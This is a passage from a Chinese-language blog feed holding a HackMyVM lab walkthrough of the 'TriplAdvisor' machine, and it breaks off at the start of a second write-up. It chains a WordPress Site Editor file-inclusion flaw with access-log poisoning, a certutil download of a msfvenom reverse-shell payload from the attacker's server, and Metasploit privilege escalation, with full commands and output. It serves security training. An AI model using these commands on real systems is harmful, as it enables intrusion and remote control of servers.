└─# searchsploit -p 44340                 
  Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
      URL: https://www.exploit-db.com/exploits/44340
     Path: /usr/share/exploitdb/exploits/php/webapps/44340.txt
    Codes: CVE-2018-7422
 Verified: True
File Type: Unicode text, UTF-8 text

┌──(web)─(root㉿kali)-[/home/kali]
└─# cat /usr/share/exploitdb/exploits/php/webapps/44340.txt
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422

** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.

Vulnerable code:
if( isset( $_REQUEST[&amp;#39;ajax_path&amp;#39;] ) &amp;amp;&amp;amp; is_file( $_REQUEST[&amp;#39;ajax_path&amp;#39;] ) &amp;amp;&amp;amp; file_exists( $_REQUEST[&amp;#39;ajax_path&amp;#39;] ) ){
    require_once $_REQUEST[&amp;#39;ajax_path&amp;#39;];
}

https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http://&amp;lt;host&amp;gt;/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

** Solution **
No fix available yet.

** Timeline **
03/01/2018: author contacted through siteeditor.org&amp;#39;s contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us &amp;quot;another&amp;quot; e-mail
19/01/2018: report sent; author says he will fix this issue &amp;quot;very soon&amp;quot;
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).

--
Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 使用Metasploit模块
msfconsole
search site_editor
use exploit/unix/webapp/wp_site_editor_lfi
set RHOSTS mamushka.hmv
set TARGETURI /
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于msf没有&lt;/p&gt;
&lt;p&gt; 因为知道这个是 windows 机子，所以可以尝试一下相关目录，比如：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/boot.ini
/autoexec.bat
/windows/system32/drivers/etc/hosts
/windows/repair/SAM
/windows/panther/unattended.xml
/windows/panther/unattend/unattended.xml
/windows/system32/license.rtf
/windows/system32/eula.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;** Proof of Concept **
http://&amp;lt;host&amp;gt;/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里路径要改一下http://&lt;host&gt;/wp-content/ 改为http://&lt;host&gt;/wordpress/wp-content/&lt;/p&gt;
&lt;p&gt;/site-editor要改为/editor&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# curl &amp;quot;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/windows/system32/drivers/etc/hosts&amp;quot;     
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a &amp;#39;#&amp;#39; symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
{&amp;quot;success&amp;quot;:true,&amp;quot;data&amp;quot;:{&amp;quot;output&amp;quot;:[]}}  
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;RCE&lt;/h1&gt;
&lt;p&gt;我们可以成功读取到文件，想要rce的话那就是需要读取日志中的文件然后getshell&lt;/p&gt;
&lt;p&gt;先fuzz下可以读取哪些windows目录文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali💀kali)-[~/temp/TriplAdvisor]
└─$ ll /usr/share/seclists/Fuzzing/LFI
total 872
-rw-r--r-- 1 root root 254354 Feb 16  2024 LFI-etc-files-of-all-linux-packages.txt
-rw-r--r-- 1 root root  22883 Feb 16  2024 LFI-gracefulsecurity-linux.txt
-rw-r--r-- 1 root root   9416 Feb 16  2024 LFI-gracefulsecurity-windows.txt
-rw-r--r-- 1 root root  32507 Feb 16  2024 LFI-Jhaddix.txt
-rw-r--r-- 1 root root 501947 Feb 16  2024 LFI-LFISuite-pathtotest-huge.txt
-rw-r--r-- 1 root root  22215 Feb 16  2024 LFI-LFISuite-pathtotest.txt
-rw-r--r-- 1 root root  31898 Feb 16  2024 LFI-linux-and-windows_by-1N3@CrowdShield.txt
-rw-r--r-- 1 root root   2165 Feb 16  2024 OMI-Agent-Linux.txt

┌──(kali💀kali)-[~/temp/TriplAdvisor]
└─$ wfuzz -c -w //usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u &amp;quot;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ&amp;quot; --hh 72 2&amp;gt;/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ
Total requests: 235

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000044:   200        7 L      13 W       129 Ch      &amp;quot;C:/Windows/win.ini&amp;quot;                                                                                                        
000000043:   200        21 L     135 W      861 Ch      &amp;quot;C:/WINDOWS/System32/drivers/etc/hosts&amp;quot;                                                                                     
000000048:   200        939 L    15552 W    206724 Ch   &amp;quot;C:/xampp/apache/logs/access.log&amp;quot;                                                                                           
000000049:   200        33746    712193 W   5744606 C   &amp;quot;C:/xampp/apache/logs/error.log&amp;quot;                                                                                            
                        L                   h                                                                                                                                       
000000164:   200        0 L      1 W        37 Ch       &amp;quot;c:/xampp/phpMyAdmin/config.inc.php&amp;quot;                                                                                        
000000163:   500        0 L      0 W        0 Ch        &amp;quot;c:/xampp/php/php.ini&amp;quot;                                                                                                      
000000165:   200        72 L     319 W      2133 Ch     &amp;quot;c:/xampp/sendmail/sendmail.ini&amp;quot;                                                                                            
000000160:   200        564 L    2563 W     21507 Ch    &amp;quot;c:/xampp/apache/conf/httpd.conf&amp;quot;                                                                                           
000000154:   200        1092 L   17388 W    243793 Ch   &amp;quot;c:/xampp/apache/logs/access.log&amp;quot;                                                                                           
000000155:   200        33746    712193 W   5744606 C   &amp;quot;c:/xampp/apache/logs/error.log&amp;quot;                                                                                            
                        L                   h                                                                                                                                       
000000229:   200        0 L      1 W        37 Ch       &amp;quot;c:/WINDOWS/setuperr.log&amp;quot;                                                                                                   
000000227:   200        176 L    1036 W     14543 Ch    &amp;quot;c:/WINDOWS/setupact.log&amp;quot;                                                                                                   
000000219:   200        79 L     585 W      3720 Ch     &amp;quot;c:/WINDOWS/system32/drivers/etc/lmhosts.sam&amp;quot;                                                                               
000000220:   200        16 L     55 W       444 Ch      &amp;quot;c:/WINDOWS/system32/drivers/etc/networks&amp;quot;                                                                                  
000000218:   200        21 L     135 W      861 Ch      &amp;quot;c:/WINDOWS/system32/drivers/etc/hosts&amp;quot;                                                                                     
000000221:   200        27 L     171 W      1395 Ch     &amp;quot;c:/WINDOWS/system32/drivers/etc/protocol&amp;quot;                                                                                  
000000222:   200        285 L    1238 W     17500 Ch    &amp;quot;c:/WINDOWS/system32/drivers/etc/services&amp;quot;                                                                                  
000000232:   200        2806 L   28871 W    227306 Ch   &amp;quot;c:/WINDOWS/WindowsUpdate.log&amp;quot;                                                                                              

Total time: 0
Processed Requests: 235
Filtered Requests: 217
Requests/sec.: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;LFI（Local File Inclusion，本地文件包含）&lt;/strong&gt;&lt;br&gt;👉 程序把&lt;strong&gt;用户可控的参数&lt;/strong&gt;当成“文件路径”去 &lt;code&gt;include / require / read&lt;/code&gt;，&lt;br&gt;👉 导致&lt;strong&gt;服务器本地文件被读取或执行&lt;/strong&gt;。  &lt;/p&gt;
&lt;p&gt;&amp;quot;c:/xampp/apache/logs/access.log&amp;quot;   扫描出站点日志可读&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;curl -A &amp;quot;&amp;lt;?php system(\$_GET[&amp;#39;cmd&amp;#39;]);?&amp;gt;&amp;quot;  http://tripladvisor:8080/wordpress/ 
curl &amp;quot;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&amp;amp;cmd=dir&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先生成一个反弹shell脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# msfvenom -p windows/meterpreter/reverse_tcp \
&amp;gt; LHOST=192.168.0.108 LPORT=6666 \
&amp;gt; -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# updog -p 8000
[+] Serving /home/kali/Desktop/hmv on 0.0.0.0:8000...
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://192.168.0.108:8000
Press CTRL+C to quit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令执行不了了，日志写满了要重置下环境&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l | grep 08:00:27

192.168.0.110   08:00:27:c0:88:40       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&amp;amp;cmd=certutil.exe%20-urlcache%20-split%20-f%20http://192.168.0.108:8000/shell.exe
http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\xampp\apache\logs\access.log&amp;amp;cmd=shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于环境不能使用pwncat所有使用rlwrap nc &lt;/p&gt;
&lt;p&gt;好吧也没成功&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 6666
run
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sf6 &amp;gt; use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) &amp;gt; 
msf6 exploit(multi/handler) &amp;gt; set payload windows/meterpreter/reverse_tcp
payload =&amp;gt; windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) &amp;gt; set LHOST 192.168.0.108
LHOST =&amp;gt; 192.168.0.108
msf6 exploit(multi/handler) &amp;gt; set LPORT 6666
LPORT =&amp;gt; 6666
msf6 exploit(multi/handler) &amp;gt; run
[*] Started reverse TCP handler on 192.168.0.108:6666 
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) &amp;gt; run
[*] Started reverse TCP handler on 192.168.0.108:6666 
[*] Sending stage (177734 bytes) to 192.168.0.110
[*] Meterpreter session 1 opened (192.168.0.108:6666 -&amp;gt; 192.168.0.110:49186) at 2026-01-27 08:17:16 -0500

meterpreter &amp;gt; dir
Listing: C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes
===================================================================================================

Mode       Size   Type  Last modified   Name
----       ----   ----  -------------   ----
100666/rw  9400   fil   2024-06-30 13:  ajax_shortcode
-rw-rw-                 00:46 -0400     _pattern.php
100666/rw  26382  fil   2024-06-30 13:  pagebuilder-op
-rw-rw-                 00:46 -0400     tions-manager.
                                        class.php
100666/rw  68418  fil   2024-06-30 13:  pagebuilder.cl
-rw-rw-                 00:46 -0400     ass.php
100666/rw  5561   fil   2024-06-30 13:  pagebuildermod
-rw-rw-                 00:46 -0400     ules.class.php
100666/rw  34306  fil   2024-06-30 13:  pb-shortcodes.
-rw-rw-                 00:46 -0400     class.php
100666/rw  16293  fil   2024-06-30 13:  pb-skin-loader
-rw-rw-                 00:46 -0400     .class.php
100777/rw  73802  fil   2026-01-28 00:  shell.exe
xrwxrwx                 06:56 -0500

meterpreter &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;meterpreter &amp;gt; dir
Listing: C:\Users\websvc\Desktop
================================

Mode         Size  Type  Last modified     Name
----         ----  ----  -------------     ----
100666/rw-r  282   fil   2024-06-29 22:10  desktop.ini
w-rw-                    :54 -0400
100666/rw-r  33    fil   2024-06-30 13:10  user.txt
w-rw-                    :01 -0400

meterpreter &amp;gt; type user.txt
[*] Downloading: user.txt -&amp;gt; /home/kali/Desktop/hmv/user.txt
[*] Downloaded 33.00 B of 33.00 B (100.0%): user.txt -&amp;gt; /home/kali/Desktop/hmv/user.txt
[*] Completed  : user.txt -&amp;gt; /home/kali/Desktop/hmv/user.txt
meterpreter &amp;gt; 

┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat user.txt 
4159a2b3a38697518722695cbb09ee46
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;meterpreter &amp;gt; background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) &amp;gt; use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) &amp;gt; set SESSION 1
SESSION =&amp;gt; 1
msf6 post(multi/recon/local_exploit_suggester) &amp;gt; run
[*] 192.168.0.110 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key &amp;quot;Notes&amp;quot; is duplicated and overwritten on line 68
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key &amp;quot;Notes&amp;quot; is duplicated and overwritten on line 51
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 192.168.0.110 - 205 exploit checks are being tried...
[+] 192.168.0.110 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 192.168.0.110 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.0.110 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 192.168.0.110 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 192.168.0.110 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.                                       
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.                                       
 3   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!                    
 4   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.                                       
 5   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.                                       
 6   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.                                       
 7   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.                                       
 8   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.                        
 9   exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.                                       
 10  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.                                       
 11  exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.                                       
 12  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.                                      
 13  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.                                             
 14  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.                                             
 15  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system  
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.                                             
 17  exploit/windows/local/bthpan                                   No                       The target is not exploitable.                                             
 18  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.                                             
 19  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.                                             
 20  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found       
 21  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.                                             
 22  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.                                             
 23  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found             
 24  exploit/windows/local/ikeext_service                           No                       The check raised an exception.                                             
 25  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.                                             
 26  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.                                             
 27  exploit/windows/local/lexmark_driver_privesc                   No                       The check raised an exception.                                             
 28  exploit/windows/local/mqac_write                               No                       The target is not exploitable.                                             
 29  exploit/windows/local/ms10_015_kitrap0d                        No                       The target is not exploitable.                                             
 30  exploit/windows/local/ms10_092_schelevator                     No                       The target is not exploitable. Windows Server 2008 R2 (6.1 Build 7600). is not vulnerable                                          
 31  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.                                             
 32  exploit/windows/local/ms15_004_tswbproxy                       No                       The target is not exploitable.                                             
 33  exploit/windows/local/ms16_016_webdav                          No                       The target is not exploitable.                                             
 34  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.                                             
 35  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.                                             
 36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.                                             
 37  exploit/windows/local/ntusermndragover                         No                       The target is not exploitable.                                             
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.                                             
 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found             
 40  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.                                             
 41  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.                                             
 42  exploit/windows/local/webexec                                  No                       The check raised an exception.                                             

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msf6 exploit(windows/local/bypassuac_comhijack) &amp;gt; set session 1
session =&amp;gt; 1
msf6 exploit(windows/local/bypassuac_comhijack) &amp;gt; run
[*] Started reverse TCP handler on 192.168.0.108:4444 
[*] Running automatic check (&amp;quot;set AutoCheck false&amp;quot; to disable)
[+] The target appears to be vulnerable.
[-] Exploit aborted due to failure: bad-config: x86 payload selected for x64 system
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_comhijack) &amp;gt;

[*] Started reverse TCP handler on 192.168.0.108:4444 
[*] Running automatic check (&amp;quot;set AutoCheck false&amp;quot; to disable)
[!] This target is not presently supported by this exploit. Support may be added in the future!
[!] Attempts to exploit this target with this module WILL NOT WORK!
[!] The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[*] Step #1: Checking target environment...
[-] Exploit aborted due to failure: bad-config: Target is running Windows, its not a version this module supports! Bailing...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2020_078
7_bits_arbitrary_file_move) &amp;gt;     

msf6 exploit(windows/local/ms13_053_schlamperei) &amp;gt; run
[*] Started reverse TCP handler on 192.168.0.108:4444 
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms13_053_schlamperei) &amp;gt; 

msf6 exploit(windows/local/ms13_081_tra
ck_popup_menu) &amp;gt; run                                    
[*] Started reverse TCP handler on 192.168.0.108:4444 
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms13_081_tra
ck_popup_menu) &amp;gt;  

msf6 exploit(windows/local/ms16_075_ref
lection_juicy) &amp;gt; set session 1                          
session =&amp;gt; 1
msf6 exploit(windows/local/ms16_075_ref
lection_juicy) &amp;gt; run                                    
[*] Started reverse TCP handler on 192.168.0.108:4444 
[+] Target appears to be vulnerable (Windows Server 2008 R2)
[*] Launching notepad to host the exploit...
[+] Process 928 launched.
[*] Reflectively injecting the exploit DLL into 928...
[*] Injecting exploit into 928...
[*] Exploit injected. Injecting exploit configuration into 928...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 192.168.0.110
[*] Meterpreter session 2 opened (192.168.0.108:4444 -&amp;gt; 192.168.0.110:49192) at 2026-01-27 12:48:12 -0500

meterpreter &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现通过windows/local/ms16_075_reflection_juicy打通了&lt;/p&gt;
&lt;p&gt;flag都在用户桌面上&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;meterpreter &amp;gt; download root.txt 
[*] Downloading: root.txt -&amp;gt; /home/kali/Desktop/hmv/root.txt
[*] Downloaded 33.00 B of 33.00 B (100.0%): root.txt -&amp;gt; /home/kali/Desktop/hmv/root.txt
[*] Completed  : root.txt -&amp;gt; /home/kali/Desktop/hmv/root.txt
meterpreter &amp;gt; 

┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat root.txt  
5b38df6802c305e752c8f02358721acc
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/tripladvisor/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/tripladvisor/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Magifi</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/magifi/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/magifi/</guid><description>MagiFi is a machine designed to test a variety of offensive security skills, including web, network, wifi and privilege escalation techniques, requiring knowledge of network analysis and authentication mechanisms offering a realistic and immersive experience within a controlled environment. Creators @x4v1l0k and @M4rdc0re.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; MagiFi 是一台用于测试多种&lt;strong&gt;进攻性安全技能&lt;/strong&gt;的靶机，涵盖 &lt;strong&gt;Web、网络、Wi‑Fi 以及权限提升&lt;/strong&gt; 等方向。它要求具备 &lt;strong&gt;网络分析&lt;/strong&gt; 和 &lt;strong&gt;认证机制&lt;/strong&gt; 方面的知识，在&lt;strong&gt;受控环境&lt;/strong&gt;中提供一种&lt;strong&gt;真实且沉浸式&lt;/strong&gt;的实战体验。&lt;br&gt;作者：@x4v1l0k 和 @M4rdc0re。  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l | grep 08:00:27

192.168.0.106   08:00:27:d2:ba:97       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l | grep 08:00:27

192.168.0.106   08:00:27:d2:ba:97       PCS Systemtechnik GmbH
                                                        
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# rustscan -a 192.168.0.106 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.106:22
Open 192.168.0.106:53
Open 192.168.0.106:80
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.106
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-24 09:30 EST
Discovered open port 22/tcp on 192.168.0.106
Discovered open port 80/tcp on 192.168.0.106

PORT   STATE  SERVICE REASON         VERSION
22/tcp open   ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0c:c6:d6:24:1e:5b:9e:66:25:0a:ba:0a:08:0b:18:40 (RSA)
